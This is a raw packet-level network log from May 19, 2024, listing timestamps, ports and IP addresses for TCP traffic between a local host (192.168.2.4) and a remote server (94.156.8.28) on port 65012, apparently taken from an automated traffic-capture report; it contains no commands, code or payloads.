May 19, 2024 06:01:07.127006054 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.127044916 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.128820896 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128849983 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128875971 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128891945 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.128904104 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128915071 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.128931999 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128932953 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.128951073 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.128959894 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128987074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.128988981 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129014015 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129017115 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129038095 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129041910 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129070044 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129074097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129091978 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129096985 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129125118 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129143953 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129153013 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129170895 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129179955 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129190922 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129209042 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129230022 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129235983 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129251957 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129265070 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129270077 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129291058 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129292011 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129321098 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129333973 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129348040 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129355907 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129375935 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.129379988 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129406929 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.129422903 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.130820036 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130853891 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130880117 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130897999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.130908012 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130935907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130937099 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.130959034 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.130964041 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.130994081 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131011963 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131021976 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131050110 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131059885 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131076097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131077051 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131108046 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131108999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131129980 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131134987 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131154060 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131162882 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131190062 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131207943 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131216049 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131236076 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131249905 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131252050 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131272078 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131279945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131306887 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131329060 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131334066 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131356001 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131364107 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131391048 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131406069 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131417990 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.131427050 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.131478071 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.132231951 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.132263899 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.132289886 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.132297039 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.132317066 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.132333040 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.132359028 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.132383108 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.132419109 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134454012 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134481907 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134509087 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134535074 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134548903 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134562969 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134571075 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134591103 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134599924 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134618998 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134627104 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134646893 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134659052 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134675026 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134676933 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134701967 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134704113 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134727001 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134728909 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134753942 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134754896 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134783030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134784937 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134805918 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134809971 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134836912 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134840965 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134860039 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134864092 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134892941 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134902000 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134918928 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134924889 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134943008 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.134947062 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134974957 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.134990931 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.135000944 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.135011911 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.135040998 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.135068893 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136523008 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136557102 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136583090 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136610031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136619091 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136636972 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136648893 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136665106 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136666059 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136692047 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136703968 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136718988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136724949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136743069 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136746883 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136769056 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136775017 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136799097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136801958 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136830091 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136835098 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136856079 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136857986 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136879921 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136885881 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136914015 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136917114 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136940956 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136941910 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136967897 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.136976004 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.136996031 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.137012959 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.137022972 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.137048006 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.137051105 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.137078047 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.137084961 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.137105942 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.137105942 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.137125015 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.137157917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138142109 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138174057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138200998 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138226986 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138251066 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138268948 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138286114 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138298035 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138323069 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138329983 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138365030 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138382912 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138406038 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138432980 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138458967 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138479948 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138485909 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138500929 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138514042 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138525963 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138540030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138550043 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138569117 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.138570070 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.138632059 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143178940 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143212080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143254995 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143255949 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143276930 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143285990 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143309116 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143313885 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143341064 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143358946 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143372059 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143385887 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143400908 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143404961 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143428087 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143445969 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143455982 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143465996 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143484116 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143486023 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143506050 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143511057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143537998 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143543959 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143565893 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143572092 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143593073 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143595934 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143620014 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143626928 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143646002 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143646955 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143663883 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143675089 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143702030 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143714905 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143728018 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143754005 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143754959 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143775940 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143802881 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143819094 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143860102 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143891096 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143917084 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143917084 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143942118 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143944025 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143966913 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.143971920 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.143991947 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144000053 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144025087 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144026041 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144047976 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144054890 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144082069 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144084930 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144105911 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144126892 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144151926 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144179106 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144186020 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144207001 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144212008 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144233942 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144237995 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144262075 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144278049 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144289970 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144309998 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144318104 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144345045 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144351959 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144372940 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144376040 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144398928 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144411087 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144427061 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144449949 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144453049 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.144471884 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144490957 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144511938 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.144931078 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145061016 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145087004 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145113945 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145140886 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145153999 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145178080 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145191908 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145229101 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145231009 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145257950 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145284891 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145311117 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145319939 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145347118 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145350933 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145379066 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145385981 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145406961 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145416975 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145433903 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145438910 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145462036 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145481110 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145489931 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145517111 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145523071 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145543098 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145545959 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145570040 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145574093 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145592928 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145597935 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145627975 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145642996 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145654917 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.145677090 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.145726919 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150428057 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150460958 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150487900 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150501966 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150521040 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150525093 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150552988 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150556087 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150576115 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150580883 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150605917 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150609016 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150633097 CEST	49732	65012	192.168.2.4	94.156.8.28
May 19, 2024 06:01:07.150638103 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150665998 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150691986 CEST	65012	49732	94.156.8.28	192.168.2.4
May 19, 2024 06:01:07.150693893 CEST	49732	65012	192.168.2.4	94.156.8.28
